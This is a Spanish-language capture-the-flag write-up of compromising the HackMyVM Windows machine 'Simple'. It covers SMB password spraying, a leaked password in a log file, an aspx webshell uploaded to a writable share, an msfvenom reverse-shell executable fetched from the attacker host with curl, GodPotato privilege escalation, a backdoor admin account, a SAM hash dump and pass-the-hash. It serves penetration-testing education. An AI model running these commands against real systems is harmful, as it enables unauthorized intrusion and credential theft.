xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackMyVM

Simple



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, la mayoria son puertos tipicos de windows

❯ nmap 192.168.100.80
Nmap scan report for 192.168.100.80  
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

Para hacer un reconocimiento basico podemos usar crackmapexec, al pasarle la ip por SMB detecta el nombre del equipo, este es local y no pertenece a un dominio

❯ crackmapexec smb 192.168.100.80
SMB         192.168.100.80  445    SIMPLE           [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)  

Algo a tener en cuenta mas adelante es que el servidor esta montado en un IIS

❯ curl -s 192.168.100.80 -I | grep Server
Server: Microsoft-IIS/10.0


Access - bogo


Si vamos a la web nos encontramos una web que aun esta en desarrollo, algo interesante es que en los agradecimientos podemos ver varios posibles usuarios

Ya que no tenemos nada mas podemos probar con crackmapexec si algun usuario usa su mismo usuario como contraseña, solo el usuario bogo nos devuelve un [+]

❯ crackmapexec smb 192.168.100.80 -u users.txt -p users.txt --no-bruteforce --continue-on-success
SMB         192.168.100.80  445    SIMPLE           [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)  
SMB         192.168.100.80  445    SIMPLE           [-] Simple\ruy:ruy STATUS_LOGON_FAILURE 
SMB         192.168.100.80  445    SIMPLE           [-] Simple\marcos:marcos STATUS_LOGON_FAILURE 
SMB         192.168.100.80  445    SIMPLE           [-] Simple\lander:lander STATUS_LOGON_FAILURE 
SMB         192.168.100.80  445    SIMPLE           [+] Simple\bogo:bogo 
SMB         192.168.100.80  445    SIMPLE           [-] Simple\vaiper:vaiper STATUS_LOGON_FAILURE

Comprobamos con crackmapexec y si listamos los recursos smb compartidos encontramos un recurso LOGS donde tenemos privilegios READ o de lectura

❯ crackmapexec smb 192.168.100.80 -u bogo -p bogo --shares
SMB         192.168.100.80  445    SIMPLE           [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)  
SMB         192.168.100.80  445    SIMPLE           [+] Simple\bogo:bogo 
SMB         192.168.100.80  445    SIMPLE           [*] Enumerated shares
SMB         192.168.100.80  445    SIMPLE           Share           Permissions     Remark
SMB         192.168.100.80  445    SIMPLE           -----           -----------     ------
SMB         192.168.100.80  445    SIMPLE           ADMIN$                          Admin remota
SMB         192.168.100.80  445    SIMPLE           C$                              Recurso predeterminado
SMB         192.168.100.80  445    SIMPLE           IPC$            READ            IPC remota
SMB         192.168.100.80  445    SIMPLE           LOGS            READ            
SMB         192.168.100.80  445    SIMPLE           WEB


Access - marcos


Al acceder al recurso compartido encontramos un archivo .log, en el archivo hay algunos comandos de powershell, y en uno de ellos se lekea una contraseña

❯ impacket-smbclient bogo:bogo@192.168.100.80
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use logs
# ls
drw-rw-rw-          0  Sun Oct  8 21:23:36 2023 .
drw-rw-rw-          0  Sun Oct  8 21:23:36 2023 ..
-rw-rw-rw-       2200  Sun Oct  8 21:23:36 2023 20231008.log  
# get 20231008.log
# exit

❯ grep -ri password 20231008.log    
PS C:\> net use \\127.0.0.1\WEB /user:marcos SuperPassword  

Comprobamos la contraseña de marcos con crackmapexec y es valida, si listamos ahora los recursos compartidos tenemos WRITE o de escritura en WEB

❯ crackmapexec smb 192.168.100.80 -u marcos -p SuperPassword
SMB         192.168.100.80  445    SIMPLE           [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)  
SMB         192.168.100.80  445    SIMPLE           [+] Simple\marcos:SuperPassword

❯ crackmapexec smb 192.168.100.80 -u marcos -p SuperPassword --shares
SMB         192.168.100.80  445    SIMPLE           [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)  
SMB         192.168.100.80  445    SIMPLE           [+] Simple\marcos:SuperPassword 
SMB         192.168.100.80  445    SIMPLE           [*] Enumerated shares
SMB         192.168.100.80  445    SIMPLE           Share           Permissions     Remark
SMB         192.168.100.80  445    SIMPLE           -----           -----------     ------
SMB         192.168.100.80  445    SIMPLE           ADMIN$                          Admin remota
SMB         192.168.100.80  445    SIMPLE           C$                              Recurso predeterminado
SMB         192.168.100.80  445    SIMPLE           IPC$            READ            IPC remota
SMB         192.168.100.80  445    SIMPLE           LOGS            READ            
SMB         192.168.100.80  445    SIMPLE           WEB             READ,WRITE


Shell - defaultapppool


Si nos conectamos al recurso smb podemos encontrar todos los archivos de la web

❯ impacket-smbclient marcos:SuperPassword@192.168.100.80
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use web
# ls
drw-rw-rw-          0  Fri Oct 13 15:30:38 2023 .
drw-rw-rw-          0  Fri Oct 13 15:30:38 2023 ..
drw-rw-rw-          0  Sun Oct  8 21:22:20 2023 03-comming-soon  
drw-rw-rw-          0  Sun Oct  8 20:00:33 2023 aspnet_client
drw-rw-rw-          0  Sun Oct  8 21:18:47 2023 common-js
drw-rw-rw-          0  Sun Oct  8 21:18:47 2023 fonts
drw-rw-rw-          0  Sun Oct  8 21:18:47 2023 images
-rw-rw-rw-       1481  Sun Oct  8 21:26:47 2023 index.html
#

Ya que sabemos que corre un IIS podemos intentar subir una webshell en aspx

# put cmd.aspx
# ls cmd.aspx
-rw-rw-rw-       1547  Fri Oct 13 15:36:49 2023 cmd.aspx  
#

Desde la webshell podemos ejecutar comandos como el usuario defaultapppool

Para conseguir una shell crearemos un exe el cual nos enviara una powershell a nuestro host por el puerto 443 y lo compartimos con un servidor http de python

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=192.168.100.70 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1897 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora simplemente cambiamos el comando por uno que descargue y ejecute el exe

curl 192.168.100.70/shell.exe -o C:\ProgramData\shell.exe && C:\ProgramData\shell.exe

Al ejecutarlo nos envia una powershell como la clasica cuenta de servicio de IIS

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.80
Windows PowerShell running as user SIMPLE$ on SIMPLE
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv>


Shell - Administrator


Como tenemos una shell de una cuenta de servicio es probable que tenga privilegios interesantes, mirando los privilegios podemos encontrar SeImpersonatePrivilege

PS C:\windows\system32\inetsrv> whoami /priv

INFORMACIÓN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripción                                       Estado       
============================= ================================================= =============  
SeAssignPrimaryTokenPrivilege Reemplazar un símbolo (token) de nivel de proceso Deshabilitado
SeIncreaseQuotaPrivilege      Ajustar las cuotas de la memoria para un proceso  Deshabilitado
SeAuditPrivilege              Generar auditorías de seguridad                   Deshabilitado
SeChangeNotifyPrivilege       Omitir comprobación de recorrido                  Habilitada   
SeImpersonatePrivilege        Suplantar a un cliente tras la autenticación      Habilitada   
SeCreateGlobalPrivilege       Crear objetos globales                            Habilitada   
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso      Deshabilitado

PS C:\windows\system32\inetsrv>

Al ser un windows actual sera dificil explotarlo con JuicyPotato, como alternativa podemos usar GodPotato pensado para explotarse en versiones mas actuales

PS C:\ProgramData> curl 192.168.100.70/GodPotato-NET4.exe -o GodPotato-NET4.exe
PS C:\ProgramData> .\GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140716628049920
[*] DispatchTable: 0x140716630367472
[*] UseProtseqFunction: 0x140716629742752
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\767414ec-1235-40f4-a222-d04ee94ac13a\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00006402-08c0-ffff-b6b8-931cb982c960
[*] DCOM obj OXID: 0xe44ea31f9a405558
[*] DCOM obj OID: 0x9b14dac06534a8d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\Servicio de red
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 736 Token:0x844  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation  
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2636
nt authority\system
PS C:\ProgramData>

Al ejecutarlo podemos ejecutar un comando como nt authority\system asi que para conseguir una shell podemos ejecutar el shell.exe que subimos antes

PS C:\ProgramData> .\GodPotato-NET4.exe -cmd "cmd /c C:\ProgramData\shell.exe"  

Unos segundos despues recibimos una powershell como este usuario que tiene maximos privilegios en el equipo, ahora podemos leer ambas flags de la maquina

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.80 
Windows PowerShell running as user SIMPLE$ on SIMPLE
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\ProgramData> whoami
nt authority\system
PS C:\ProgramData> type C:\Users\marcos\Desktop\user.txt
SIMPLE{ASPXT0SH311}
PS C:\ProgramData> type C:\Users\Administrador\Desktop\root.txt  
SIMPLE{S31MP3R50N4T3PR1V1L363}
PS C:\ProgramData>

Si quisieramos obtener una shell algo mas interactiva podriamos crear un usuario administrador para despues con dumpear la sam para ver todos los hashes NT

PS C:\ProgramData> net user pwned password123# /add  
Se ha completado el comando correctamente.

PS C:\ProgramData> net localgroup Administradores pwned /add  
Se ha completado el comando correctamente.

PS C:\ProgramData>

❯ crackmapexec smb 192.168.100.80 -u pwned -p password123# --sam
SMB         192.168.100.80  445    SIMPLE           [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)  
SMB         192.168.100.80  445    SIMPLE           [+] Simple\pwned:password123# (Pwn3d!)
SMB         192.168.100.80  445    SIMPLE           [*] Dumping SAM hashes
SMB         192.168.100.80  445    SIMPLE           Administrador:500:aad3b435b51404eeaad3b435b51404ee:4a7b21b82decebdc8589948bfcf4da16:::
SMB         192.168.100.80  445    SIMPLE           Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.100.80  445    SIMPLE           DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.100.80  445    SIMPLE           WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.100.80  445    SIMPLE           marcos:1003:aad3b435b51404eeaad3b435b51404ee:104a92f7a0c45e38c04d1b283460be2b:::
SMB         192.168.100.80  445    SIMPLE           bogo:1006:aad3b435b51404eeaad3b435b51404ee:5ec8ca783dec29fc24d55640edc6aa36:::
SMB         192.168.100.80  445    SIMPLE           pwned:1007:aad3b435b51404eeaad3b435b51404ee:e5abfbc0410c5ce37bae2276dee52aaf:::
SMB         192.168.100.80  445    SIMPLE           [+] Added 7 SAM hashes to the database

Finalmente podemos conectarnos con evil-winrm haciendo un passthehash como el usuario Administrator y asi obtener una powershell mucho mas interactiva

❯ evil-winrm -i 192.168.100.80 -u Administrador -H 4a7b21b82decebdc8589948bfcf4da16  
PS C:\Users\Administrador\Documents> whoami
simple\administrador
PS C:\Users\Administrador\Documents> type ..\Desktop\root.txt
SIMPLE{S31MP3R50N4T3PR1V1L363}
PS C:\Users\Administrador\Documents>